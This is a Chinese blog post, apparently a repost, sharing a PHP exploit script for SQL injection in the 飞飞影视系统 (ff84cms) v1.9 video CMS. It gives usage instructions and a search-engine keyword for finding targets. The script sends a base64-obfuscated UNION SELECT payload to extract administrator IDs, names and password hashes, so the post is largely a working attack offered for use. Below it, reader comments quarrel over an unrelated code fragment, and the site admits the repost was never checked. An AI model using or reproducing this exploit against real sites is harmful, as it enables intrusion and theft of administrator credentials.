飞飞影视系统PHP版 v1.9 injection exploit

  • A+
所属分类:lcx

昨天整的黑客论坛旁站上的程序,发现用的人还真不少。

简单的写了个exp。无聊之作...

ction
*     飞飞影视系统PHP版 v1.9 injection exploit 
*     by:www.08sec.com fans
*          keyword "Powered by www.ff84.com"
*/
error_reporting(E_ERROR);
set_time_limit(0);

if ($argc<3) {
print_r('
------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to ff84cms
Example:
php '.$argv[0].' localhost /
-------------------------------------------------------
');
die;
}

$host=$argv[1];
$path=$argv[2];
$html='';

$cookie="";
$agent=" User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1";
$content ="";
$data = "POST /?s=vod-read-id-1".base64_decode('JTIwYW5kJTIwMT0yJTIwdW5pb24lMjBzZWxlY3QlMjAxLDIsMyw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCwxNSwxNiwxNywxOCwxOSwyMCwyMSwyMiwyMywyNCwyNSwyNixjb25jYXQoMHg0MCxhZG1pbl9pZCwweDQwLGFkbWluX25hbWUsMHg0MCxhZG1pbl9wd2QsMHg0MCksMjgsMjklMjBmcm9tJTIwcHBfYWRtaW4tLQ==')."html HTTP/1.1rn";
$data .= "Host: ".$host."rn";
//$data .="Cookie: ".$cookie."rn";
$data .= "User-Agent: ".$agent. "rn";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$data .= "Accept-Language: zh-cn,zh;q=0.5rn";
$data .= "Accept-Encoding: gzip,deflatern"; 
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7rn";
$data .= "Connection: keep-alivern";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Content-Length: ".strlen($content)."rnrn";
$data .= $content."rn";

Sendpack($data);

if (!eregi("Tpl",$html)){
       // echo $packet."rn";
       // echo $html."rn";
        die("Exploit failed...");
}else{
        $pattern="/@(.*)@/i";
    preg_match($pattern,$html,$pg);
    echo "$pg[1]rnrn";
        echo "rnExploit succeeded...rn";
}


Function sendpack ($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

留言评论(旧系统):

fanliqwe @ 2012-05-21 14:30:14

//$id=str_replace(" ","%20",$id);
//$id=str_replace("=","%3D",$id);
注释掉
$SQL = "time=999999999999999999999999&action=deleteuser&ids=".$_GET["id"];
加上“” 这样才行呀不然会报错
Notice: Use of undefined constant id - assumed 'id' in 粗心了

本站回复:

纯转载,未检查。

晴天小铸 @ 2012-05-21 18:07:03

@fanliqwe 你发的语句根本不是飞飞影视系统PHP版 v1.9 injection exploit的代码,别乱吐槽╮(╯▽╰)╭

本站回复:

-_-|||

文章来源于lcx.cc:飞飞影视系统PHP版 v1.9 injection exploit

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: